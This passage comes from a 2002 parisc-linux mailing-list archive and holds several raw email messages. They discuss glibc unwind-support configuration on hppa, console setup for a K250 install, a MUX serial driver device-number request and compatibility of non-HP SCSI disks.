List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16359

> Please figure it out and be sure.  You need it only if there are existing
> old C++ binaries that have references to _Unwind_Find_FDE.  If there are no
> C++ binaries you want to be compatible with that predate a certain GCC
> version (not sure which off hand), then you don't need it.  But I don't
> think it hurts to have it.

I believe that this is needed for dw2 exception support.  This doesn't
work with gcc 3.0.4, so I don't think you need to worry much about old
binaries.

> > 2002-10-01  Matthew Wilcox  <willy@debian.org>
> > 
> > 	* sysdeps/unix/sysv/linux/configure: 
> > 	Make 2.4.18 minimum linux kernel for hppa, and add 
> > 	libc_cv_gcc_unwind_find_fde=yes.
> 
> This log entry is for a generated file, and there is no log entry for the
> actual source file.

I noticed this when I was fixing the gcc dw2 exception support.  Changing
it didn't seem to have any affect on the v3 or g++ testsuite results, but
it seems the correct thing to do.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/802/K250 won't boot with images - serial/stack 
 problem?
Date: Tue, 01 Oct 2002 23:40:16 +0200
Organization: private
Lines: 47
Approved: news@gmane.org
Message-ID: <3D9A1640.4148922D@gmx.at>
References: <20020930200805.GA9133@itea.ntnu.no> <1033417191.31126.4.camel@beavis> <20020930204559.GB9133@itea.ntnu.no> <3D98D2B9.659E5A0B@gmx.at> <20021001011800.GA11383@itea.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621790 15014 80.91.229.3 (22 Nov 2014 02:03:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stian Soiland <stain@itea.ntnu.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 15:40:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 112B04829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 15:40:23 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20021001214019.RUUI25370.viefep11-int.chello.at@gmx.at>;
          Tue, 1 Oct 2002 23:40:19 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16360

Very good, the last comment on the page !!!!
The thing with HP-UX without patch and the comparison
to the Ferrari .... !!! Good !!

Bye
Christoph


Stian Soiland wrote:
> 
> On 2002-10-01 00:39:53, Christoph Plattner wrote:
> 
> > As far as I see the problem: YES, you must use the
> > serial porton the MDP (port 0 !). Or use the PDC console
> > instead of MUX driver, then you are on the safe side,
> > concerning the console connecting method. The PDC
> > conolse driver takes that interface, which is configured
> > in the PDC monitor as console, independent of device
> > type, chips, ports, etc...
> 
> Luckily - with the -PDC-images and ttyB0 everything worked out
> perfectly, the kernel found all my disks, my network card,
> it is now "Installing base packages..." - so I go home to eat dinner
> and connect with ssh to the serial terminal server to watch for further
> progress :=)
> 
> Well.. I delayed the dinner, and now the box is perfect :)
> Brilliant work, everyone! I really had no idea it would
> work that smooth.
> 
>   http://beist.ntnu.nu/
> 
> --
> Stian Siland               Det er ikke for lurt  prve noe nytt nr man
> ITEA systemdrift            egentlig er for sliten til  spise is. [Haugen]
> http://www.stud.ntnu.no/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Request for preliminary approval for a lanana device number.
Date: 01 Oct 2002 20:40:14 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <1033526414.31126.1871.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621790 15021 80.91.229.3 (22 Nov 2014 02:03:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 20:40:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 768544829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 20:40:17 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 967C92E3F1; Tue,  1 Oct 2002 20:40:14 -0600 (MDT)
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16361

Alan,

I have written a driver to handle the non-16550-compatible serial ports
used on the parisc machines.  This includes support for the E, F-I,
K and optional console card for the D & R class systems.  The console
for these systems is on port 0 of the MUX.  

I would like to request prelimiary approval from you that you intend to
merge this driver into your tree, so I can request a valid device
number from lanana.

Here is a link to the code in CVS:
http://cvs.parisc-linux.org/linux/drivers/char/mux.c?rev=1.3&content-type=text/vnd.viewcvs-markup


Obviously this driver is not finished yet, as others are working on
getting the full MUX support from these devices, but this driver does
handle the console nicely.

I am not asking for you to pick this driver up immediately, as I assume
you will pick it up during your next merging excercise of the
parisc-linux tree.


Thanks much for your time, and hopefully we can get approval for the
device number to get these systems supported by the Debian installer.

Thanks,

- Ryan




From - Thu Nov 08 21:24:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [roland@redhat.com: Re: [PATCH] glibc 2.2.94 - hppa - min kernel and unwind-find-fde]
Date: Tue, 1 Oct 2002 23:14:06 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20021002031406.GA32230@systemhalted>
References: <20021001200329.GG25959@systemhalted> <200210012018.g91KIrCv028501@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621790 15026 80.91.229.3 (22 Nov 2014 02:03:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 21:14:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEE4D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 21:14:07 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17wZxe-0008Qz-00; Tue, 01 Oct 2002 23:14:06 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200210012018.g91KIrCv028501@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (24% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16362

> > Please figure it out and be sure.  You need it only if there are existing
> > old C++ binaries that have references to _Unwind_Find_FDE.  If there are no
> > C++ binaries you want to be compatible with that predate a certain GCC
> > version (not sure which off hand), then you don't need it.  But I don't
> > think it hurts to have it.
> 
> I believe that this is needed for dw2 exception support.  This doesn't
> work with gcc 3.0.4, so I don't think you need to worry much about old
> binaries.

So the rationale is:
It never worked, so removing it still leaves non-working old C++ binaries.

I assume I would be able to test this by looking at all the C++ binaries 
in the hppa archive and looking for ref's to _Unwind_Find_FDE.
 
> > > 2002-10-01  Matthew Wilcox  <willy@debian.org>
> > > 
> > > 	* sysdeps/unix/sysv/linux/configure: 
> > > 	Make 2.4.18 minimum linux kernel for hppa, and add 
> > > 	libc_cv_gcc_unwind_find_fde=yes.
> > 
> > This log entry is for a generated file, and there is no log entry for the
> > actual source file.
> 
> I noticed this when I was fixing the gcc dw2 exception support.  Changing
> it didn't seem to have any affect on the v3 or g++ testsuite results, but
> it seems the correct thing to do.
> 

Setting "libc_cv_gcc_unwind_find_fde=no" seems the correct thing to do?
                                    ^^^^
c.


From - Thu Nov 08 21:24:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Non-HP disks?
Date: Tue, 1 Oct 2002 20:40:59 -0700 (PDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20021002034059.34434.qmail@web12505.mail.yahoo.com>
References: <20021002031406.GA32230@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621791 15029 80.91.229.3 (22 Nov 2014 02:03:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 21:41:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12505.mail.yahoo.com (web12505.mail.yahoo.com [216.136.173.197])
	by dsl2.external.hp.com (Postfix) with SMTP id 139FF4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 21:41:02 -0600 (MDT)
Original-Received: from [24.197.205.90] by web12505.mail.yahoo.com via HTTP; Tue, 01 Oct 2002 20:40:59 PDT
In-Reply-To: <20021002031406.GA32230@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16363

Anyone using them?  I have a bunch of IBM DCHS-04F Ultrastar 2XP 4.3GB
(got info from IBM's website about jumpers and tried them all) drives
that I'm trying to get them to work but all they do is SCSI bus reset
when Debian trys to load.  They are factory refurbed 50-pin SE disks
and I have activated Autostart on them and active termination (tried it
without too).  Anyway, they perform this way under HP-UX too.  Tried a
2GB HP drive and it works fine so the system SCSI bus is fine.  So,
bottom line is anyone using NON-HP disks in thier systems?  Tried them
in my E55, 712/60, and 712/100.  Have tried 2 different drives with the
same result also.....

derek

__________________________________________________
Do you Yahoo!?
New DSL Internet Access from SBC & Yahoo!
http://sbc.yahoo.com


From - Thu Nov 08 21:24:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [roland@redhat.com: Re: [PATCH] glibc 2.2.94 - hppa - min kernel and unwind-find-fde]
Date: Tue, 1 Oct 2002 23:47:07 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200210020347.g923l7gx029193@hiauly1.hia.nrc.ca>
References: <20021002031406.GA32230@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621791 15032 80.91.229.3 (22 Nov 2014 02:03:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 21:47:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 717314829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 21:47:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g923l800029195;
	Tue, 1 Oct 2002 23:47:09 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g923l7gx029193;
	Tue, 1 Oct 2002 23:47:07 -0400 (EDT)
In-Reply-To: <20021002031406.GA32230@systemhalted> from "Carlos O'Donell" at Oct 1, 2002 11:14:06 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16364

> > > > 2002-10-01  Matthew Wilcox  <willy@debian.org>
> > > > 
> > > > 	* sysdeps/unix/sysv/linux/configure: 
> > > > 	Make 2.4.18 minimum linux kernel for hppa, and add 
> > > > 	libc_cv_gcc_unwind_find_fde=yes.
> > > 
> > > This log entry is for a generated file, and there is no log entry for the
> > > actual source file.
> > 
> > I noticed this when I was fixing the gcc dw2 exception support.  Changing
> > it didn't seem to have any affect on the v3 or g++ testsuite results, but
> > it seems the correct thing to do.
> > 
> 
> Setting "libc_cv_gcc_unwind_find_fde=no" seems the correct thing to do?

That seems reasonable for gcc 3.0.4.  However, it may not matter.  With
gcc 3.3 and a slightly hacked glibc-2.2.5-14, I see the following in my
build log:

checking for DWARF2 unwind info support... (cached) no

This should be yes.  I haven't investigated why this is so.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: E Frank Ball <frankb@efball.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-HP disks?
Date: Tue, 1 Oct 2002 21:01:55 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20021001210155.A561@zouave.sonic.net>
References: <20021002031406.GA32230@systemhalted> <20021002034059.34434.qmail@web12505.mail.yahoo.com>
Reply-To: frankb@efball.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621791 15034 80.91.229.3 (22 Nov 2014 02:03:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 22:02:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zouave.sonic.net (zouave.sonic.net [209.204.172.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BB004829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 22:02:00 -0600 (MDT)
Original-Received: from frizzen.efball.com (frizzen.efball.com [192.168.0.27])
	by zouave.sonic.net (Postfix) with ESMTP id E22116805
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 21:01:56 -0700 (PDT)
Original-Received: by frizzen.efball.com (Postfix, from userid 4168)
	id EBC6B42; Tue,  1 Oct 2002 21:01:55 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20021002034059.34434.qmail@web12505.mail.yahoo.com>; from derekengelhaupt@rocketmail.com on Tue, Oct 01, 2002 at 08:40:59PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16365

On Tue, Oct 01, 2002 at 08:40:59PM -0700, Derek Engelhaupt wrote:
} Anyone using them?  I have a bunch of IBM DCHS-04F Ultrastar 2XP 4.3GB
} (got info from IBM's website about jumpers and tried them all) drives
} that I'm trying to get them to work but all they do is SCSI bus reset
} when Debian trys to load.  They are factory refurbed 50-pin SE disks
} and I have activated Autostart on them and active termination (tried it
} without too).  Anyway, they perform this way under HP-UX too.  Tried a
} 2GB HP drive and it works fine so the system SCSI bus is fine.  So,
} bottom line is anyone using NON-HP disks in thier systems?  Tried them
} in my E55, 712/60, and 712/100.  Have tried 2 different drives with the
} same result also.....

Most non-HP drives should work fine.  We use lots of Seagate Medalist
ST34520N drives in all the 700s.  We used to use some Quatums, and we've
used IBMs too, but I don't know the nubmers.

-- 

   E Frank Ball                frankb@efball.com


From - Thu Nov 08 21:24:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Non-HP disks?
Date: Tue, 1 Oct 2002 21:16:35 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20021001211635.49fc4480.csuder@cisco.com>
References: <20021002031406.GA32230@systemhalted>
	<20021002034059.34434.qmail@web12505.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621792 15037 80.91.229.3 (22 Nov 2014 02:03:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 22:16:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C5CA4867
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 22:16:42 -0600 (MDT)
Original-Received: from mira-sjc5-9.cisco.com (IDENT:mirapoint@mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-1.cisco.com (8.12.2/8.12.2) with ESMTP id g924GaIm014561;
	Tue, 1 Oct 2002 21:16:36 -0700 (PDT)
Original-Received: from cisco.com (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint Messaging Server MOS 3.1.0.66-GA)
	with SMTP id AAF00363;
	Tue, 1 Oct 2002 21:16:57 -0700 (PDT)
In-Reply-To: <20021002034059.34434.qmail@web12505.mail.yahoo.com>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16366

I have been using non-HP firmware Seagate, Quantum, Toshiba and IBM drives (older 1GB though) in 712, 735 and C class. 

IIRC correctly I couldn't get a newer 4.3 GB IBM drive to work in a SS20, the drive is Ultra-SCSI and that somehow doesn't work with old controllers. May be the same problem in HPs,

	Christian 


On Tue, 1 Oct 2002 20:40:59 -0700 (PDT)
"Derek Engelhaupt" <derekengelhaupt@rocketmail.com> wrote:

> Anyone using them?  I have a bunch of IBM DCHS-04F Ultrastar 2XP 4.3GB
> (got info from IBM's website about jumpers and tried them all) drives
> that I'm trying to get them to work but all they do is SCSI bus reset
> when Debian trys to load.  They are factory refurbed 50-pin SE disks
> and I have activated Autostart on them and active termination (tried it
> without too).  Anyway, they perform this way under HP-UX too.  Tried a
> 2GB HP drive and it works fine so the system SCSI bus is fine.  So,
> bottom line is anyone using NON-HP disks in thier systems?  Tried them
> in my E55, 712/60, and 712/100.  Have tried 2 different drives with the
> same result also.....
> 
> derek
> 
> __________________________________________________
> Do you Yahoo!?
> New DSL Internet Access from SBC & Yahoo!
> http://sbc.yahoo.com
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:24:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <caslivkoff@telocity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] firmware update using BOOTP
Date: 02 Oct 2002 00:48:24 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <1033534105.596.10.camel@jerry>
References: <Pine.GSO.4.31.0209292306350.1357-100000@eduserv.rug.ac.be> 
	<1033395024.454.3.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621792 15045 80.91.229.3 (22 Nov 2014 02:03:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Smith <james@compusmithllc.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 22:48:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c003.snv.cp.net (h016.c003.snv.cp.net [209.228.32.230])
	by dsl2.external.hp.com (Postfix) with SMTP id F0E024829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 22:48:27 -0600 (MDT)
Original-Received: (cpmta 6760 invoked from network); 1 Oct 2002 21:48:25 -0700
Original-Received: from 64.128.230.1 (HELO localhost.localdomain)
  by smtp.telocity.com (209.228.32.230) with SMTP; 1 Oct 2002 21:48:25 -0700
X-Sent: 2 Oct 2002 04:48:25 GMT
In-Reply-To: <1033395024.454.3.camel@seventy>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
